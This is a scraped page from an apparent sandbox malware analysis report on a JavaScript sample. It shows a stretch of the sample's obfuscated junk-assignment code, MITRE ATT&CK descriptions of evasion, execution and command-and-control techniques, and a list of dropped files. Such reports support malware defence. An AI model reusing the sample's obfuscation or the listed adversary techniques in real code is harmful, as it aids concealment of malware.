1293	dmlapl = "V";
1294	dmlapl = "x";
1295	dmlapl = "o";
1296	dmlapl = "E";
1297	dwizms = "x";
1298	dwizms = "x";
1299	dwizms = "c";
1300	dwizms = "I";
1301	dwizms = "C";
1302	dwizms = "b";
1303	dwizms = "E";
1304	dwizms = "K";
1305	dwizms = "B";
1306	dwizms = "d";
1307	dwizms = "I";
1308	dwizms = "Z";
1309	dwizms = "a";
1310	dwizms = "x";
1311	dwizms = "h";
1312	dwizms = "W";
1313	dwizms = "N";
1314	dwizms = "k";
1315	dwizms = "o";
1316	dwizms = "c";
1317	dwizms = "j";
1318	dwizms = "Z";
1319	dwizms = "r";
1320	dwizms = "S";
1321	dwizms = "w";
1322	dwizms = "B";
1323	dwizms = "L";
1324	dwizms = "l";
1325	dwizms = "m";
1326	dwizms = "I";
1327	dwizms = "w";
1328	dwizms = "K";
1329	dwizms = "g";
1330	yfqqus = "Q";
1331	yfqqus = "t";
1332	yfqqus = "Y";
1333	yfqqus = "n";
1334	yfqqus = "c";
1335	yfqqus = "d";
1336	yfqqus = "J";
1337	yfqqus = "J";
1338	yfqqus = "E";
1339	yfqqus = "O";
1340	yfqqus = "F";
1341	yfqqus = "B";
1342	yfqqus = "T";
1343	yfqqus = "D";
1344	yfqqus = "D";
1345	yfqqus = "E";
1346	yfqqus = "H";
1347	yfqqus = "O";
1348	yfqqus = "G";
1349	yfqqus = "F";
1350	yfqqus = "O";
1351	yfqqus = "U";
1352	yfqqus = "c";
1353	yfqqus = "B";
1354	yfqqus = "k";
1355	yfqqus = "W";
1356	yfqqus = "t";
1357	yfqqus = "u";
1358	yfqqus = "y";
1359	yfqqus = "D";
1360	yfqqus = "l";
1361	yfqqus = "N";
1362	yfqqus = "K";
1363	yfqqus = "y";
1364	yfqqus = "j";
1365	yfqqus = "G";
1366	yfqqus = "s";
1367	yfqqus = "C";
1368	yfqqus = "O";
1369	ctfknddj = "m";
1370	ctfknddj = "n";
1371	ctfknddj = "p";
1372	ctfknddj = "n";
1373	ctfknddj = "y";
1374	ctfknddj = "V";
1375	ctfknddj = "m";
1376	ctfknddj = "i";
1377	ctfknddj = "c";
1378	ctfknddj = "j";
1379	ctfknddj = "h";
1380	ctfknddj = "s";
1381	ctfknddj = "S";
1382	ctfknddj = "d";
1383	ctfknddj = "N";
1384	ctfknddj = "M";
1385	ctfknddj = "c";
1386	ctfknddj = "G";
1387	ctfknddj = "C";
1388	ctfknddj = "U";
1389	ctfknddj = "s";
1390	ctfknddj = "U";
1391	ctfknddj = "Z";
1392	ctfknddj = "t";
1393	ctfknddj = "m";
1394	ctfknddj = "V";
1395	ctfknddj = "T";
1396	ctfknddj = "a";
1397	ctfknddj = "x";
1398	ctfknddj = "j";
1399	ctfknddj = "&";
1400	okqcsdh = "Y";
1401	okqcsdh = "i";
1402	okqcsdh = "S";
1403	okqcsdh = "a";
1404	okqcsdh = "P";
1405	okqcsdh = "S";
1406	okqcsdh = "m";
1407	okqcsdh = "P";
1408	okqcsdh = "i";
1409	okqcsdh = "M";
1410	okqcsdh = "f";
1411	okqcsdh = "E";
1412	okqcsdh = "O";
1413	okqcsdh = "l";
1414	okqcsdh = "N";
1415	okqcsdh = "r";
1416	okqcsdh = "h";
1417	okqcsdh = "e";
1418	okqcsdh = "a";
1419	okqcsdh = "q";
1420	okqcsdh = "O";
1421	okqcsdh = "Y";
1422	okqcsdh = "O";
1423	okqcsdh = "M";
1424	okqcsdh = "N";
1425	okqcsdh = "m";
1426	okqcsdh = "T";
1427	okqcsdh = "o";
1428	okqcsdh = "R";
1429	okqcsdh = "t";
1430	okqcsdh = "Y";
1431	okqcsdh = "c";
1432	okqcsdh = "J";
1433	okqcsdh = "N";
1434	okqcsdh = "m";
1435	okqcsdh = "F";
1436	okqcsdh = "t";
1437	okqcsdh = "j";
1438	okqcsdh = "q";
1439	okqcsdh = "6";
1440	vkaum = "Z";
1441	vkaum = "b";
1442	vkaum = "n";
1443	vkaum = "X";
1444	vkaum = "b";
1445	vkaum = "r";
1446	vkaum = "v";
1447	vkaum = "f";
1448	vkaum = "x";
1449	vkaum = "z";
1450	vkaum = "f";
1451	vkaum = "z";
1452	vkaum = "F";
1453	vkaum = "p";
1454	vkaum = "F";
1455	vkaum = "q";
1456	vkaum = "D";
1457	vkaum = "V";
1458	vkaum = "S";
1459	vkaum = "e";
1460	vkaum = "n";
1461	vkaum = "t";
1462	vkaum = "q";
1463	vkaum = "U";
1464	vkaum = "k";
1465	vkaum = "J";
1466	vkaum = "Q";
1467	vkaum = "p";
1468	vkaum = "Q";
1469	vkaum = "F";
1470	vkaum = "Z";
1471	vkaum = "V";
1472	vkaum = "C";
1473	vkaum = "Q";
1474	vkaum = "J";
1475	vkaum = "u";
1476	vkaum = "g";
1477	vkaum = "J";
1478	vkaum = "L";
1479	bxvwaf = "p";
1480	bxvwaf = "L";
1481	bxvwaf = "b";
1482	bxvwaf = "X";
1483	bxvwaf = "j";
1484	bxvwaf = "f";
1485	bxvwaf = "V";
1486	bxvwaf = "R";
1487	bxvwaf = "I";
1488	bxvwaf = "A";
1489	bxvwaf = "i";
1490	bxvwaf = "W";
1491	bxvwaf = "d";
1492	bxvwaf = "m";
1493	bxvwaf = "O";
1494	bxvwaf = "D";
1495	bxvwaf = "V";
1496	bxvwaf = "E";
1497	bxvwaf = "j";
1498	bxvwaf = "d";
1499	bxvwaf = "f";
1500	bxvwaf = "E";
1501	bxvwaf = "a";
1502	bxvwaf = "L";
1503	bxvwaf = "u";
1504	bxvwaf = "R";
1505	bxvwaf = "S";
1506	bxvwaf = "F";
1507	bxvwaf = "U";
1508	bxvwaf = "c";
1509	bxvwaf = "a";
1510	bxvwaf = "U";
1511	bxvwaf = "A";
1512	bxvwaf = "q";
1513	bxvwaf = "X";
1514	bxvwaf = "E";
1515	bxvwaf = "y";
1516	bxvwaf = "k";
1517	bxvwaf = "G";
1518	bxvwaf = "Z";
1519	bxvwaf = "F";
1520	bxvwaf = ":";
1521	xlrjku = "j";
1522	qxjdjps ( );	qxjdjps() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 334130052300215064.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dec89821-e5aa-4cca-a09f-178bae870cd5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7932

Windows Analysis Report
334130052300215064.js